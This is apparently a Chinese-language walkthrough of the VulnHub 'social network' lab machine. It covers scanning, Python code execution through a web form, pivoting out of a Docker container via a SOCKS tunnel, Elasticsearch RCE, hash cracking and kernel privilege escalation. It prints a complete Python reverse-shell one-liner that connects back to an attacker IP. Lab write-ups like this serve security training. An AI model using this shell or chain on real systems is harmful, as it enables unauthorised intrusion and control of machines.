medium_socnet 打靶经历

靶机下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

通关目标:拿下目标靶机的 root 权限

简要流程

主机发现及端口扫描:

搭建好靶场后,因为网络连接为 NAT 模式,目标主机和攻击机在同一网段,就用了二层主机发现工具

1.jpg

然后进行服务版本探测:

2.jpg

WEB 探查:

3.jpg

目录扫描:

4.jpg

访问后台地址,进行 shell 反弹

5.jpg

根据网面信息提示,猜测这是一个通过 exec()函数进行代码执行的页面,结合之前使用 nmap 搜集到的信息得知服务端运行的是 python2.7 开发环境,尝试向表单写入一段 python 代码,根据回显结果得知代码被成功执行,进而写入一段 python 反弹 shell 代码 ( 网上搜索或者利用 msf 生成)。

贴一段我用的代码:import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

然后再 kali 端开启侦听端口

6.jpg

发现另一个 ip 网段地址和 root 权限,不过在 ls 显示的文件名中有一个 Dockerfile 文件夹,怀疑获得的是 docker 容器的系统权限。通过 ls /.dockerenv 或 cat /proc/1/cgroup 命令判断是否是 docker

7.jpg

根据回显,主机无疑是处于 docker 环境了,在看之前的 ip 地址与目标主机不一致,怀疑是内网 ip,那最简单的判断方法就是 ping 了,但网段有点多就通过循环来 ping 查找内网主机,大致扫了一下发现了 3 个 ip 有回包(正常情况下是全网段都扫)

8.jpg

那接下来就是通过内网穿透将目标主机与攻击机的网络路由打通,我使用的是 venom,先在服务端启动侦听

9-(2).jpg

然后用 python 的 http 模块开放 80 端口

10.jpg

然后在目标机下载客户端

11.jpg

chmod +x test 赋予可执行权限,然后连接服务端

13.jpg

连接成功后,开个 1080 端口的 socks 代理

14.jpg

接着通过 proxychains4 来让其他工具也能通过代理挂载。

更改下配置:

15.jpg

16.jpg

然后通过代理对内网的 ip 进行端口扫描,发现端口与之前访问 ip 的一样

19.jpg

给浏览器也挂个 sock 代理,然后访问 172.17.0.1 发现与 192.168.109.130 内容一致,说明这个就是我们要攻击的主机了,接着对第二个 ip 进行扫描,只发现了 9200 端口,比较熟悉的可能就知道了是 ElasticSearch 远程执行漏洞

20.jpg

接下来就比较简单了,搜一波脚本

21.jpg

获取权限(任然是容器权限),然后 看到个 passwords 文件,进去看看,存放的账号密码,把哈希的密码拿去破解,可以在线网站也可以自己写脚本,获得的账号密码拿去试着登录

23.jpg

发现只有 john 登录成功,但没有提权的权限,那一般提权就是内核漏洞

24.jpg

之前已经知道 linux 版本是 3.13,直接搜一波脚本就欧克了